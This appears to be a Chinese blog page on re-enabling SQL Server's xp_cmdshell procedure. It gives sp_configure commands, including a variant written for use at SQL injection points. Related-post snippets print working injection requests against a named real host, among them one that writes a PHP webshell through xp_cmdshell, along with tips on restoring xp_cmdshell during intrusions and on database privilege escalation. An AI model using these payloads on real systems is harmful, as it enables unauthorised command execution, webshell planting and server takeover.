mssql 2008恢复xp_cmdshell

最新推荐文章于 2024-11-22 18:57:14 发布
最新推荐文章于 2024-11-22 18:57:14 发布 · 118 阅读 · 0

本文介绍如何在 SQL Server 中启用和禁用 xp_cmdshell 扩展存储过程的方法。通过两个步骤设置 showadvancedoptions 参数并重新配置 xp_cmdshell 的状态。


EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
关闭一样.只是将上面的后面的那个"1"改成"0"就可以了.
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

########################################################################################
两种方式:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--

or :

;EXEC sp_configure 'show advanced options', 1 --
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure 'xp_cmdshell', 1 --
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure 'show advanced options', 0 --

iteye_11341
关注
xp——cmdshell恢复(古老语言)（内有转载）
Coisini的博客
05-25 526
1 未能找到存储过程’master…xpcmdshell’. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号 恢复方法：查询分离器连接后, 第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll’declare @o int 第二步执行:sp_adde...
Windows提权之Mssql(sql server)数据库提权(xp_cmdshell提权)
mrx56的博客
05-18 1640
利用大马或者webshell管理工具登录mssql数据库，执行以下sql命令检查xp_cmdshell是否存在。也可以利用SQL注入。如果xplog70.dll也删除了可以自己上传一个或者执行以下命令恢复。结果为1，则证明存在。当结果为0时，可以通过下列命令恢复。使用xp_cmdshel执行命令。
恢复xp_cmdshell SQL Server阻止了对组件 'xp_cmdshell' 的过程'sys.xp_cmdshell' 启用
weixin_30477797的博客
08-04 157
SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问，因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息，请参阅 SQL Server 联机丛书中的 "外围应用配置器"。 SQL2005 在默认的设置...
恢复xp_cmdshell
php|nginx|python|vue|redis|linux
03-13 1798
 用这些命令恢复一下xp_cmdshell开启cmdshell的SQL语句EXEC sp_addextendedproc xp_cmdshell ,@dllname =xplog70.dll判断存储扩展是否存在Select count(*) from master.dbo.sysobjects where xtype=X and name=xp_cmdsh
POST /psy/NPreenManage/NPreenSMSList.asmx HTTP/1.1 Host: xlcp.scuvc.com Content-Type: text/xml; charset=utf-8 Content-Length: 461 SOAPAction: "RuiGe.WebUi.NPreenSMS/Seach" <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <Seach xmlns="RuiGe.WebUi.NPreenSMS"> <sqlwhere>;DECLARE @mvtp VARCHAR(8000);SET @mvtp=0x6563686f2031;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @mvtp--</sqlwhere> </Seach> </soap:Body> </soap:Envelope>这是sql注入请求体，但是响应报错，报错信息为：System.Data.SqlClient.SqlException: 在执行 xp_cmdshell 的过程中出错。调用 'CreateProcess' 失败，错误代码: '5'，如何解决
最新发布
07-24
根据引用[1]的内容，管理员可能会删除xp_cmdshell扩展存储过程，甚至重命名其动态链接库（xpsql70.dll）以防止恢复。因此，即使我们有DBA权限，也可能无法直接使用xp_cmdshell。 我们需要考虑替代方案。在SQL ...
POST /psy/NPreenManage/NPreenSMSList.asmx HTTP/1.1 Host: xlcp.scuvc.com Content-Type: text/xml; charset=utf-8 Content-Length: 443 SOAPAction: "RuiGe.WebUi.NPreenSMS/Seach" <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <Seach xmlns="RuiGe.WebUi.NPreenSMS"> <sqlwhere> '; EXEC xp_cmdshell 'echo ^<^?php @system($_GET["cmd"])^?^> > C:\nginx\html\shell.php' -- </sqlwhere> </Seach> </soap:Body> </soap:Envelope>在非查询语句中不能使用堆叠查询的情况下，如何修改请求体，使得webshell上传成功（目标系统为Nginx1.18.0、Microsoft SQLserver2019，DBA=True）
07-24
然而，在SQL Server中，写入文件的操作通常使用`xp_cmdshell`执行系统命令（如echo写入文件）或者使用`OLE Automation Procedures`（sp_OACreate等）来写入文件，但这些都需要在独立的语句中执行，不能嵌套在SELECT...
第60天-权限提升-MY&MS&ORA 等 SQL 数据库提权
MCTSOG的博客
04-29 2286
思维导图 权限提升 数据库提权 ​ 在利用系统溢出漏洞无果的情况下，可以采用数据库进行提权，但需要知道数据库提权的前提条件：服务器开启数据库服务及获取到最高权限用户密码。除 Access 数据库外，其他数据库基本都存在数据库提权的可能。 数据库应用提权在权限提升中的意义 WEB 或本地环境如何探针数据库应用 数据库提权权限用户密码收集等方法 目前数据库提权对应的技术及方法等 知识点 提权流程 服务探针---->信息收集----->提权利用----->获取权限 数据库端口号 关系型数
18-OWASP top10--SQL注入（三、MSSQL、Mysql手工注入及Sqlmap工具使用）
XLbb的博客
05-27 1702
' 与and 1=1 and 1=2--检查注入点 ' order by 1,2--+&Submit=Submit#--检查字段 ' union select user(),version()--+&Submit=Submit# --查看数据库用户名和版本、库名 'union select 1,group_concat(schema_name) from inform 注入防御 1、涵数过滤 2、直接下载相关防范注入文件，通过incloud包含放在网站配置文件里面 3、PDO预处理
SQL入侵恢复xp_cmdshell方法总结
09-11
恢复xp_cmdshell SQL Server阻止了对组件 'xp_cmdshell' 的过程'sys.xp_cmdshell' 启用
常见情况恢复执行xp_cmdshell.
rjgcwl的专栏
01-14 1188
常见情况恢复执行xp_cmdshell.2007年08月28日 星期二 17:37 常见情况恢复执行xp_cmdshell.1 未能找到存储过程master..xpcmdshell.    恢复方法：查询分离器连接后,第一步执行:EXEC sp_addextendedproc xp_cmdshell,
mysql xpcmdshell_MSSQL入侵恢复xp_cmdshell方法总结
weixin_39888180的博客
01-19 807
MSSQL弱口令入侵已经很罕见了,但在内网时有时还能用到,今天在搞机器的时候遇上一MSSQL2005,第一次见这错误信息,搜索到答案,贴在BLOG上以后遇上备用.-----------------------------------------------------------------------------------------------------------错误信息:SQL Ser...
MSSQL2008一句话启用xp_cmdshell
收集盒 Book box
02-24 692
基于安全考虑,MSSQL2005及以上版本默认禁用了xp_cmdshell。直接调用该扩展存储过程会提示： SQL Server 阻止了对组件 'xp_cmdshell' 的 过程 'sys.xp_cmdshell' 的访问，因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell
恢复xp_cmdshell的N个方法
weixin_34018169的博客
11-15 271
方法1:查询分离器连接后第一步执行：use master 第二步执行：sp_dropextendedproc 'xp_cmdshell' 然后按F5键命令执行完毕 三.常见情况恢复执行xp_cmdshell. 1 未能找到存储过程'master..xpcmdshell'.恢复方法：查询分离器连接后,第一步执行:EXEC sp_addextendedproc xp_cmds...
MSSQL提权之xp_cmdshell
himyly的博客
11-22 1563
sqlserver中通过xp_cmdshell进行渗透的过程
sql server 2008如何打开和禁用xp_cmdshell
秦亚伟的专栏-金蝶 EAS BOS、苍穹平台技术
04-11 7648
-- To allow advanced options to be changed. EXEC sp_configure 'show advanced options', 1 GO -- To update the currently configured value for advanced options. RECONFIGURE GO -- To enable the feat
Linux环境下mysql数据库备份与恢复的Shell脚本实践
在Linux系统下对MySQL数据库进行备份与恢复是数据库管理中非常重要的环节，它能够有效避免因硬件故障、人为...通过掌握上述知识点，IT专业人员可以更有效地编写、测试和维护Linux下MySQL数据库的备份与恢复Shell脚本。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值